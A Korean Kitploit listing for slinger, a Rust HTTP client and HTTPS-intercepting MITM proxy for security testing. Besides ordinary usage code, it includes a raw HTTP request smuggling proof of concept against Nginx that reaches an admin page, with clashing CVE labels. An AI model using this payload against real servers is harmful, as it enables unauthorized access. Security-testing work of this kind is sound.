Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
slinger — 보안 연구자를 위해 특별히 개발된 HTTP 클라이언트 | Kitploit
도구/GitHubGitHub/emo-crab/slinger
Vulnerability AnalysisWeb Proxies & InterceptionAPI Security TestingWeb SecurityPenetration Testing
GitHubemo-crab/slinger

slinger

보안 연구자를 위해 특별히 개발된 HTTP 클라이언트

저장소 보기
3022개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

Contributors Forks Stargazers Issues MIT License crates io


로고

slinger(투석기)

해커를 위해 설계된 Rust용 HTTP 클라이언트입니다.
문서 살펴보기 »

데모 보기 · 버그 신고 · 기능 요청

프로젝트 소개

제품 이름 스크린샷

Slinger는 다음을 포함하는 워크스페이스입니다:

slinger

해커를 위해 설계된 Rust용 핵심 HTTP 클라이언트 라이브러리입니다.

  • 사용자 정의 가능한 리다이렉트 정책
  • http/https 및 socks5/socks5h 프록시
  • 쿠키 저장소
  • 원시 소켓 요청
  • tls를 통한 HTTPS

slinger-mitm

Burp Suite와 유사하게 투명한 HTTPS 트래픽 가로채기를 지원하는 중간자(MITM) 프록시입니다.

  • 개선된 인증서 관리와 함께 자동 CA 인증서 생성 (hudsucker에서 영감을 받음)
  • 고성능을 위한 인증서 캐싱
  • rustls 백엔드를 사용한 투명 HTTPS 가로채기
  • 트래픽 가로채기 및 수정 인터페이스
  • 무작위 일련 번호 및 클록 스큐 처리
  • slinger의 Socket 구현 재사용
  • 최소한의 외부 의존성

(맨 위로)

시작하기

slinger 사용 (HTTP 클라이언트)

이 예제는 일부 선택적 기능을 활성화하므로 Cargo.toml은 다음과 같을 수 있습니다:

root@kitploit:~
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

그리고 코드:

root@kitploit:~
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

slinger-mitm 사용 (MITM 프록시)

Cargo.toml에 추가:

root@kitploit:~
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

예제 코드:

root@kitploit:~
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Add logging interceptor
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

MITM 프록시 사용에 대한 자세한 내용은 slinger-mitm/README.md를 참조하세요.

기능

Slinger는 다음 선택적 기능을 지원합니다:

  • tls - 기본 TLS 기능 (특정 백엔드 없이 TLS 유형 및 인터페이스 활성화)
  • rustls - Rustls를 사용한 HTTPS 지원 (tls 필요, 순수 Rust 구현)
  • http2 - HTTP/2 프로토콜 지원 (TLS 백엔드 필요)
  • cookie - 쿠키 처리 지원
  • charset - 문자 인코딩 지원
  • serde - 직렬화/역직렬화 지원
  • gzip - Gzip 압축 지원
  • schema - JSON Schema 지원

TLS 백엔드 선택

TLS를 사용하려면 다음을 수행해야 합니다:

  1. tls 기능 활성화
  2. rustls 백엔드를 선택하거나 사용자 정의 TLS 커넥터 제공

기능 조합 예시:

root@kitploit:~
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

사용자 정의 TLS 백엔드 (예: native-tls, OpenSSL)

native-tls, OpenSSL 또는 다른 TLS 라이브러리를 사용하려면 사용자 정의 TLS 커넥터를 구현할 수 있습니다. native-tls 통합 방법에 대한 전체 예제는 native_tls_example.rs를 참조하세요.

예제

  • Nginx - HTTP 스머글링 CVE-2019-20372
root@kitploit:~
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

더 많은 예제는 예제를 참조하세요.

(맨 위로)

기여

기여는 오픈 소스 커뮤니티를 배우고, 영감을 얻고, 창조할 수 있는 놀라운 공간으로 만들어 줍니다. 여러분이 해주시는 모든 기여는 매우 감사히 여겨집니다.

이 프로젝트를 개선할 제안이 있으시면 저장소를 포크하고 풀 리퀘스트를 만들어 주세요. 간단히 "enhancement" 태그로 이슈를 열 수도 있습니다. 프로젝트에 스타를 주는 것도 잊지 마세요! 다시 한번 감사합니다!

  1. 프로젝트 포크
  2. 기능 브랜치 생성 (git checkout -b feature/AmazingFeature)
  3. 변경 사항 커밋 (git commit -m 'Add some AmazingFeature')
  4. 브랜치에 푸시 (git push origin feature/AmazingFeature)
  5. 풀 리퀘스트 열기

(맨 위로)

라이선스

GPL-3.0-only 라이선스로 배포됩니다. 자세한 내용은 LICENSE를 참조하세요.

(맨 위로)

문의

이름 - @Kali_Team - [email protected]

프로젝트 링크: https://github.com/emo-crab/slinger

(맨 위로)

감사의 말

  • reqwest

(맨 위로)

도구 다운로드